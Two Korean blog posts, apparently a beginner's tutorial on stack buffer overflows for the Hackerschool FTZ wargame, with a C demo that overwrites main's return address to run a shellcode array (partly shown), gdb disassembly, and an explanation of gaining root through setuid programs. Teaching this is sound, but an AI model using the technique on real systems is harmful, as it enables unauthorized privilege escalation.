"\x07\xaf\x34\x28\x24\x7d\x21\x29\xaa\x82\xb1\x42\xd9\x82\xe6"
"\xc9\x94\x62\xc5\x6e";

int main(void)
{
        int *ret;     // int형 포인터 변수를 하나
        ret = ( int* )&ret+2;   // 포인터 변수에서 2블럭만큼 증가 (8byte 증가)
        *ret = ( int )buf; // 포인터 변수에서 2칸 위로 위치이동 시킨곳에 쉘코드 삽입
}

==========================================================

메인함수 3줄의 코드를 설명하려 합니다.

int *ret;     // int형 포인터 변수를 하나 선언 했습니다.
               // 이 포인터를 이용해 ret 값을 바꾸려고 합니다.

ret = ( int* )&ret+2;   // 포인터 변수에서 2블럭만큼 증가 (8byte 증가)
                             // 스택 바로위에 스택 시작을 알려주는 ebp.
                             // ebp 바로위에 ret가 있죠.
                             // 
                             // ==   RET   ==
                             // ==   EBP   ==
                             // == int *ret ==
                             // 이런모양이겠네요!!?
                             // ret는 포인터니까 1만 증가시켜도
                             // 한 블럭씩 증가하겠죠? (포인터는 4바이트)
                             // 그러므로.. 2만큼 증가시켜주면
                             // 자신이 가리키는곳은? RET !!!!

*ret = ( int )buf;  // ret 본인이 가리키는곳이 RET 이므로..
                       // 이곳에 대망의 쉘코드만 삽입해주면
                       // 이프로그램이 끝날 시점에
                       // bof가 일어나게됩니다..

- 컴파일 -
gcc bof.c -o bof -mpreferred-stack-boundary=2

뒤에 -mpref ~~~ boundary=2 ~~ 이부분은 gcc 2.95버전 이후로
스택 구조가 변경되어서.. 그전의 환경을 맞춰주기 위해 추가해준 옵션입니다.



컴파일 후엔? 실행시켜보는것도 좋죠..!
하지만.. ret 바로 2칸위에 ret가 있다는 사실을...
한번더 확인사살 해보겠습니다.

위 프로그램을 gdb 로 디어셈 해보겠습니다.

(gdb) disas main
Dump of assembler code for function main:
0x080482f4 <main+0>:    push   %ebp
0x080482f5 <main+1>:    mov    %esp,%ebp     //esp를 ebp와 같은 위치에
0x080482f7 <main+3>:    sub    $0x4,%esp       //거기서 4바이트 아래로!!
0x080482fa <main+6>:    lea    0xfffffffc(%ebp),%eax
0x080482fd <main+9>:    add    $0x8,%eax
(이하생략)

int* 하나 선언했는데, ebp 아래 스택크기를 4만큼 줬다면..
그 공간은 우리가 선언한 변수의 공간임을 확신할 수 있죠
역시 int* 바로 위 (4byte 위)는 ebp겠고..
그 위는 (ret와 ebp가 항상 붙어다니기 때문에) ret 겠네요 ㅎㅎ

그럼 역시
ret = ( int* )&ret+2;
이것은.. 리턴으로 가는 길임을 증명하는 또다른 자료입니다 ㅎㅎ

========================== 아름다운 프로그램 실행

[level1@ftz tmp]$ gcc bof.c -o bof -mpreferred-stack-boundary=2
[level1@ftz tmp]$ ls
bof  bof.c
[level1@ftz tmp]$ ./bof
bof  bof.c      //bof가 일어난 결과
[level1@ftz tmp]$


제가 가지고 있는 리눅스에서는
세그멘테이션 오류
라는 엄청난 콩글리쉬로..
우릴 민망하게 하는 오류를 띄웁니다., ㅠㅠ

세그멘테이션 오류가 났다는건
메모리값에 대해서 문제가 발생했다는 증거이기도 합니다.
만약 bof를 일으키기 위한 포인터의 위치를
ret값으로 제대로 잡지 못했을때
실행시켜도 아무런 반응이 없는 상황이 오게됩니다.
그때엔 gdb라던지 코드를 다시 확인하여
제대로된 ret값을 잡도록 해주세요

해커스쿨 문제 레벨 11 이상 푸는것도
bof 이해해 상당히 도움이 됩니다.
처음 입문하는 사람들을 위해서..
쓴글이긴 한데
저도 넘 오랜만이라
막막하군요.. 하핫..
중요한 내용보다 잡설이 많은 글이었네요

저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

  1. pknam 2010/09/12 02:42  댓글주소  댓글쓰기 수정/삭제

    조은글 ㅎㅎ 감사합니당
    검색하다보니 여기까지 왔어요 ㅋㅋㅋㅋㅋㅋㅋㅋ

  2. 2011/10/06 23:44  댓글주소  댓글쓰기 수정/삭제

    비밀댓글입니다

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */



:: 버퍼 오버플로우 ::

어떤 메모리 공간에 사용자가 데이타를 입력할 수 있는 기회가 생겼을 때,
시스템이 원하는 메모리 공간 이상의 코드를 대입하여 ret라는 녀석을 조절하여
시스템에게 사용자가 원하는 행동을 하도록 합니다.
이게 무슨뜻이냐면.. 천천히 내려갑시다.

아래는 시스템 메모리 구조를 나타낸다.


환경변수, 프로그램 인자값중 문자열
환경변수, Argv 포인터
인자값의 수
스택 영역.


heap 영역.
초기화 되지 않은 변수
초기화 된 변수
읽을 수 있는 부분이 있으나, 변조될 경우 Segfault 발생

인텔 80x86 CPU 레지스터

- 범용 레지스터 -
AX - Accumulator :: 산술연산
BX - Base Register :: 베이스의 주소를 저장
CX - Count Register :: 반복적으로 실행되는 특정 명령에 사용
DX - Data Register :: 일반 자료 저장

- Offset Register -
BP :: Base Pointer :: 스택 내의 변수 값을 읽는 데 사용
IP  :: Instructuon Pointer :: 명령어가 흘러가는 위치 Offset을 저장하며, 다음에 수행될 명령어의 주소 형성
SP :: Stack pointer :: 스택의 가장 끝 주소를 가리킨다.
DI :: Destination Index :: 다음 목적지 주소에 대한 값 저장
SI :: 출발지 주소에 대한 값 저장

- Segment Register -
DS :: Data Segment Register :: 변수의 기본 베이스 주소 저장
ES :: Extra Segment Register :: 변수의 추가 베이스 주소 저장
SS :: Stack Segment Register :: 스택의 베이스 주소 저장
CS :: Code Segment Register :: 명령어 코드의 베이스 주소 저장

본문을 읽다 보면 ESP와 같은 레지스터 종류를 볼 수 있는데,
위 내용의 레지스터들은 16비트에서의 이름이고,
사실 32비트로 프로세서가 커지면서 Extended 라는 의미를 표현하기 위해
각 레지스터 앞에 'E' 를 붙이게 되었다.

mov, add, 등의 연산 명령 뒤에는 l (long), w(word), b(byte)와 같은 문자가 붙어
연산하게 될 자료의 크기를 정할 수 있다. (movl , movb, addw 등)


버퍼 오버플로우 공격의 시작이었던 스택 버퍼 오버플로우 공격에 대해서
먼저 살펴보려 합니다.
*/ abc 라는 파일의 소스 abc.c이다. /*

#include<stdio.h>
int main(){
    char a[3] = "abc";
}

이 프로그램의 구조를 알기위해 gdb를 이용하여 disassemble 해봅시당.
//GDB에 대한 내용은 다음절에 자세히 설명할께요
gdb ./abc
-> gdb가 켜진후
disassemble main을 입력

GDB가 켜졌다고 폼을 잡고있다.

여기서부터 main을 disas한다.
리눅스은 왼쪽있는 값을
오른쪽에 대입합니다.

push ebp :: 베이스 포인터 생성
mov esp, ebp :: esp 스택포인터를 기본 base 포인터로 옮김
sub 0x10 esp 스택포인터의
위치를 10만큼 낮춤으로써
스택의 크기를 10만큼 보유함







위 그림처럼 stack의 크기를 계산하는게 스택 오버플로우에서 가장 중요한 일입니다.
스택의 크기와 문자열이 대입되는 위치를 파악하여 버퍼를 넘치게 합니다.
그럼 스택 버퍼의 크기를 넘치게 하여 무엇을 하느냐?

옆그림을 보면 메모리 흐름에서
새로운 프로그램을 불러드려
잠깐 프로그램 A 영역 메모리로
이동하여 일을 수행한후
다시 프로그램 A를 실행시킨
곳으로 돌아와 하던일을
계속 하게 됩니다.

여기가 중요 포인트입니다.
RET. return이란 녀석이
어떤 주소값을 가지고 있는데
그게 자신을 실행 시키기전의
메모리 위치입니다.
그 메모리 위치를 기억하여
프로그램이 끝나면
이전에 하던일을 계속
하게 되는것입니다.





buffer를 overflow 시킨다면 return 값을 내 마음대로 조절할 수 있다는 것이겠죠?

만약 프로그램 A에게 Setuid가 걸려있다면
실행시키는 순간 파일의 주인의 권한을 갖게 되고,
그 권한으로 다른 프로그램을 실행시 킬 수 있는것입니다.
return 값을 /bin/bash로 한다면
그 권한으로 쉘을 얻을 수 있습니다.

만약 A프로그램의 주인이 root 였고, setuid가 걸려 있었다면
root의 권한을 관리자가 저항할 여지도 없이 공격자에게
모든 권한을 주게 되는것이죠.

================
BOF 실습해보기
LINK_
================

다음 2번글에서는 GDB에 대한 분석을 해보겠습니다.
저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

  1. Rusy 2009/11/28 18:00  댓글주소  댓글쓰기 수정/삭제

    레지스터 종류좀 볼라고 검색했더니 여기 들어오네 ㅋㅋㅋㅋㅋㅋㅋ

  2. Dakuo 2009/11/29 00:27  댓글주소  댓글쓰기 수정/삭제

    형 제꺼에 더 많아요 ㅋ